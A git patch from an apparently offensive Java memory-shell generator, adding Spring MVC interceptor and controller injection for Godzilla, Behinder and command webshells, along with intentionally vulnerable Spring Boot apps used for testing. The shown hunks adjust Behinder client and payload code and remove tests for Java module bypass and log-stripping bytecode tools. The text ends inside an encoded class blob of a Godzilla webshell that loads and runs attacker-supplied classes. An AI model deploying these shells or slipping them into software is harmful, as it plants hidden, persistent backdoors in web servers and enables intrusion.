From 77e5371fa8ac2212dac34a9ebdfefe4e59cfb395 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 22 Dec 2024 16:29:02 +0800 Subject: [PATCH] feat: support springmvc shell generate --- .github/workflows/ci.yaml | 2 +- .../javaweb/behinder/BehinderManager.java | 2 +- .../javaweb/behinder/payloads/Test.java | 5 +- .../javaweb/behinder/BehinderManagerTest.java | 6 +- .../ByPassJavaModuleInterceptorTest.java | 33 --- .../buddy/LogRemoveVisitorWrapperTest.java | 119 ---------- .../reajason/javaweb/util/ClassUtilsTest.java | 24 +++ .../javaweb/memshell/SpringMVCShell.java | 61 ++++++ .../javaweb/memshell/config/Server.java | 2 +- .../javaweb/memshell/packer/Base64Packer.java | 2 +- integration-test/build.gradle | 8 +- .../javaweb/integration/ContainerTool.java | 4 +- .../integration/ShellAssertionTool.java | 7 +- .../reajason/javaweb/integration/VulTool.java | 2 +- .../springmvc/SpringBoot2ContainerTest.java | 84 ++++++++ .../springmvc/SpringBoot3ContainerTest.java | 72 +++++++ .../shelltool/behinder/BehinderFilter.java | 6 +- .../shelltool/behinder/BehinderServlet.java | 6 +- .../shelltool/behinder/BehinderValve.java | 6 +- .../behinder/BehinderControllerHandler.java | 75 +++++++ .../behinder/BehinderInterceptor.java | 76 +++++++ .../command/CommandControllerHandler.java | 40 ++++ .../springmvc/command/CommandInterceptor.java | 40 ++++ .../godzilla/GodzillaControllerHandler.java | 112 ++++++++++ .../godzilla/GodzillaInterceptor.java | 115 ++++++++++ .../SpringControllerHandlerInterceptor.java | 204 ++++++++++++++++++ .../injector/SpringInterceptorInjector.java | 201 +++++++++++++++++ .../web/servlet/AsyncHandlerInterceptor.java | 4 + .../web/servlet/ModelAndView.java | 8 + .../web/servlet/mvc/Controller.java | 8 + settings.gradle | 4 +- vul/vul-springboot2/Dockerfile | 8 + vul/vul-springboot2/build.gradle | 24 +++ .../VulSpringboot2Application.java | 17 ++ .../Base64ClassLoaderController.java | 22 ++ .../controller/IndexController.java | 23 ++ .../controller/ScriptEngineController.java | 23 ++ .../controller/SpELController.java | 22 ++ .../src/main/resources/application.yaml | 0 .../VulSpringboot2ApplicationTests.java | 13 ++ vul/vul-springboot3/Dockerfile | 8 + vul/vul-springboot3/build.gradle | 20 ++ .../javaweb/vul/springboot3/ClassDefiner.java | 10 + .../VulSpringboot3Application.java | 12 ++ .../Base64ClassLoaderController.java | 24 +++ .../controller/IndexController.java | 123 +++++++++++ .../controller/SpELController.java | 25 +++ .../src/main/resources/application.properties | 1 + .../VulSpringboot3ApplicationTests.java | 13 ++ web/src/components/tips/url-pattern-tip.tsx | 1 + 50 files changed, 1546 insertions(+), 181 deletions(-) delete mode 100644 common/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java delete mode 100644 common/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java create mode 100644 common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/SpringMVCShell.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringControllerHandlerInterceptor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringInterceptorInjector.java create mode 100644 memshell/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java create mode 100644 memshell/src/main/java/org/springframework/web/servlet/ModelAndView.java create mode 100644 memshell/src/main/java/org/springframework/web/servlet/mvc/Controller.java create mode 100644 vul/vul-springboot2/Dockerfile create mode 100644 vul/vul-springboot2/build.gradle create mode 100644 vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java create mode 100644 vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java create mode 100644 vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java create mode 100644 vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/ScriptEngineController.java create mode 100644 vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/SpELController.java create mode 100644 vul/vul-springboot2/src/main/resources/application.yaml create mode 100644 vul/vul-springboot2/src/test/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2ApplicationTests.java create mode 100644 vul/vul-springboot3/Dockerfile create mode 100644 vul/vul-springboot3/build.gradle create mode 100644 vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java create mode 100644 vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java create mode 100644 vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java create mode 100644 vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java create mode 100644 vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java create mode 100644 vul/vul-springboot3/src/main/resources/application.properties create mode 100644 vul/vul-springboot3/src/test/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3ApplicationTests.java diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 2e21fc15..c0dd7423 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -31,7 +31,7 @@ jobs: strategy: fail-fast: false matrix: - middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere" ] + middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc" ] runs-on: ubuntu-latest name: ${{ matrix.middleware }} needs: [ unit-test ] diff --git a/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java b/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java index 5129e136..e8da3932 100644 --- a/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java +++ b/behinder/src/main/java/com/reajason/javaweb/behinder/BehinderManager.java @@ -63,7 +63,7 @@ public class BehinderManager { } String resText = new String(decrypt(resData)); if (StringUtils.isBlank(resText)) { - throw new RuntimeException(new String((byte[]) resultObj.get("data"))); + throw new RuntimeException("decrypt text is empty, the raw data is " + new String((byte[]) resultObj.get("data")) + " and the status code is " + resultObj.get("status")); } JSONObject jsonObject = JSON.parseObject(resText); String msg = new String(Base64.decodeBase64(jsonObject.getString("msg"))); diff --git a/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java b/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java index ba7658f3..8ba097a2 100644 --- a/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java +++ b/behinder/src/main/java/com/reajason/javaweb/behinder/payloads/Test.java @@ -32,7 +32,10 @@ public class Test { result.put("status", "success"); } finally { try { - Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); + // org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private + Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream"); + getOutputStreamMethod.setAccessible(true); + Object so = getOutputStreamMethod.invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class); String jsonStr = this.buildJson(result, true); write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8"))); diff --git a/behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java b/behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java index 78e51c55..c6e806a5 100644 --- a/behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java +++ b/behinder/src/test/java/com/reajason/javaweb/behinder/BehinderManagerTest.java @@ -11,9 +11,9 @@ class BehinderManagerTest { @Test void test() { BehinderManager behinderManager = BehinderManager.builder() - .entrypoint("http://localhost:8080/app/test") - .pass("test123") - .header("User-Agent", "testValve").build(); + .entrypoint("http://localhost:8080/test") + .pass("pass") + .header("User-Agent", "BehinderinterceptorBase64").build(); behinderManager.test(); } } \ No newline at end of file diff --git a/common/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java b/common/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java deleted file mode 100644 index dde6e020..00000000 --- a/common/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java +++ /dev/null @@ -1,33 +0,0 @@ -package com.reajason.javaweb.buddy; - -import lombok.SneakyThrows; -import org.junit.jupiter.api.Test; -import org.junit.jupiter.api.condition.EnabledOnJre; - -import java.lang.reflect.InaccessibleObjectException; -import java.lang.reflect.Method; - -import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; -import static org.junit.jupiter.api.Assertions.assertThrows; -import static org.junit.jupiter.api.condition.JRE.JAVA_17; - -/** - * @author ReaJason - * @since 2024/12/7 - */ -class ByPassJavaModuleInterceptorTest { - @Test - @SneakyThrows - @EnabledOnJre(JAVA_17) - void testByPassModule() { - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - assertThrows(InaccessibleObjectException.class, () -> { - defineClass.setAccessible(true); - }); - ByPassJavaModuleInterceptor.enter(this.getClass()); - assertDoesNotThrow(() -> { - defineClass.setAccessible(true); - }); - } - -} \ No newline at end of file diff --git a/common/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java b/common/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java deleted file mode 100644 index 775e24a5..00000000 --- a/common/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java +++ /dev/null @@ -1,119 +0,0 @@ -package com.reajason.javaweb.buddy; - -import lombok.extern.slf4j.Slf4j; -import net.bytebuddy.ByteBuddy; -import net.bytebuddy.asm.AsmVisitorWrapper; -import net.bytebuddy.description.method.MethodDescription; -import net.bytebuddy.description.type.TypeDescription; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.implementation.Implementation; -import net.bytebuddy.jar.asm.MethodVisitor; -import net.bytebuddy.jar.asm.Opcodes; -import net.bytebuddy.matcher.ElementMatchers; -import net.bytebuddy.pool.TypePool; -import org.junit.jupiter.api.Test; - -import java.util.logging.Logger; - -import static org.junit.jupiter.api.Assertions.assertNotEquals; -import static org.junit.jupiter.api.Assertions.assertNotNull; -import static org.mockito.Mockito.*; - -/** - * @author ReaJason - * @since 2024/12/4 - */ -@Slf4j -class LogRemoveVisitorWrapperTest { - - @Test - void testExtend() { - DynamicType.Builder builder = new ByteBuddy().subclass(Object.class); - DynamicType.Builder extendedBuilder = LogRemoveMethodVisitor.extend(builder); - assertNotNull(extendedBuilder); - assertNotEquals(builder, extendedBuilder); - } - - @Test - void testWrap() { - LogRemoveMethodVisitor visitor = LogRemoveMethodVisitor.INSTANCE; - TypeDescription instrumentedType = mock(TypeDescription.class); - MethodDescription instrumentedMethod = mock(MethodDescription.class); - MethodVisitor methodVisitor = mock(MethodVisitor.class); - Implementation.Context implementationContext = mock(Implementation.Context.class); - TypePool typePool = mock(TypePool.class); - - MethodVisitor wrappedVisitor = visitor.wrap(instrumentedType, instrumentedMethod, methodVisitor, - implementationContext, typePool, 0, 0); - - assertNotNull(wrappedVisitor); - assertNotEquals(methodVisitor, wrappedVisitor); - } - - @Test - void testVisitMethodInsn_RemoveSystemOutPrintln() { - MethodVisitor methodVisitor = mock(MethodVisitor.class); - LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0) - .visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false); - - verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean()); - } - - @Test - void testVisitMethodInsn_RemovePrintStackTrace() { - MethodVisitor methodVisitor = mock(MethodVisitor.class); - LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0) - .visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); - - verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean()); - } - - @Test - void testVisitMethodInsn_KeepOtherMethodCalls() { - MethodVisitor methodVisitor = mock(MethodVisitor.class); - MethodVisitor wrappedVisitor = LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0); - wrappedVisitor.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false); - verify(methodVisitor).visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false); - } - - @Test - void testIntegration() throws Exception { - // Use ByteBuddy to create a new class with log statements removed - DynamicType.Unloaded make = new ByteBuddy() - .redefine(TestClass.class) - .name("com.reajason.javaweb.buddy.TestClass1") - .visit(new AsmVisitorWrapper.ForDeclaredMethods() - .method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE)) - .make(); - byte[] bytes = make.getBytes(); -// Files.write(Paths.get("xx.class"), bytes); - Class modifiedClass = make.load(getClass().getClassLoader()).getLoaded(); - Object instance = modifiedClass.getDeclaredConstructor().newInstance(); - modifiedClass.getMethod("methodWithLogs").invoke(instance); - } - - public static class TestClass { - static Logger logger = Logger.getLogger(TestClass.class.getName()); - - public TestClass() { - } - - public static void methodWithLogs() { - System.out.println("This should be removed"); - String test = "test"; - int length = test.length(); - logger.info(test); - try { - System.out.println("hello"); - throw new RuntimeException("hello"); - } catch (Exception e) { - e.printStackTrace(); - } - logger.warning("wa"); - } - - public static void main(String[] args) { - methodWithLogs(); - } - } -} \ No newline at end of file diff --git a/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java b/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java new file mode 100644 index 00000000..b9668717 --- /dev/null +++ b/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.util; + +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Paths; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +class ClassUtilsTest { + + @Test + @Disabled + void testBase64() throws IOException { + byte[] bytes = Base64.decodeBase64("yv66vgAAADQBMgoAUgCfCACgCQA7AKEIAKIJADsAowoAUgCkBwClCgAHAJ8JADsApgoABwCnCQA7AKgKAAcAqQoAOwCqCQA7AKsIAKwKAK0ArgoAJACvCgAkALAKAK0AsQcAsgoArQCzCgAUALQKABQAtQoAJAC2BwC3CAC4CgAhALkIALoKACEAuwoAvAC9CgAjAL4IAL8HAMAHAHUHAMEHAMIIAMMKACEAxAgAxQgAxggAxwgAyAgAyQoAUgDKCADLCgDMAM0HAM4KAC8AzwoAzADQCgDMANELANIA0woAJADUCwDSANULANIA1goAOwDXCgA7ANgIANkLANoA2wcA3AoAIQDdCgA7AKQKADsA3gsA2gDfCADgCwDSAN8HAOEKAEIAnwcA4gcA4wcA5AoARgDlCgAjAOYLAOcA6AoAJADpCgDqAOsKACMAqQoAQgDsCgA7AO0KACQA7ggAVggA7wcA8AcA8QEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxvcmcvZXhhbXBsZS9zcHJpbmcvR29kemlsbGFDb250cm9sbGVySGFuZGxlcjsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABnBhcmVudAEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcAwgcAtwEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAZiYXNlNjQBABFMamF2YS9sYW5nL0NsYXNzOwEAB0VuY29kZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAR2YXI2AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAJbQgEABXZhbHVlAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAKRXhjZXB0aW9ucwEACWI2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEdmFyNAEAAVoHANwHAPIBAA1oYW5kbGVSZXF1ZXN0AQB/KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAAWYBAAFlAQAoTGphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uOwEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAARkYXRhAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwcA8wcA9AcA9QcA4QcA9gcAwQEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAHkdvZHppbGxhQ29udHJvbGxlckhhbmRsZXIuamF2YQwAWgBbAQAKVXNlci1BZ2VudAwAWABVAQAaU3ByaW5nX0dvZHppbGxhX0NvbnRyb2xsZXIMAFkAVQwAWgBhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAFYAVQwA9wD4DABXAFUMAPkA+gwAVABkDABUAFUBAANNRDUHAPsMAPwA/QwA/gD/DAEAAQEMAQIBAwEAFGphdmEvbWF0aC9CaWdJbnRlZ2VyDAEEAP8MAFoBBQwA+QEGDAEHAPoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAwBCAEJAQAKZ2V0RW5jb2RlcgwBCgELBwEMDAENAQ4MAQ8BEAEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAERARIBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBEwEUAQADQUVTBwDyDAD8ARUBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABaARYMARcBGAwBGQEaBwD0DAEbAGQMARwBHQwBHgEfDAEgAGQMAHoAewwAgACBAQAHcGF5bG9hZAcA8wwBIQEiAQAsb3JnL2V4YW1wbGUvc3ByaW5nL0dvZHppbGxhQ29udHJvbGxlckhhbmRsZXIMASMBJAwAfQB+DAElASYBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAFoBJwwBKAEpBwD1DAEqASsMASwBLQcBLgwBLwEwDAExAP8MAGwAbQwBLAEGAQAQM2M2ZTBiOGE5YzE1MjI0YQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEALm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL0NvbnRyb2xsZXIBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YS9sYW5nL1JlZmxlY3RpdmVPcGVyYXRpb25FeGNlcHRpb24BAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABihbQilbQgEACWdldEhlYWRlcgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0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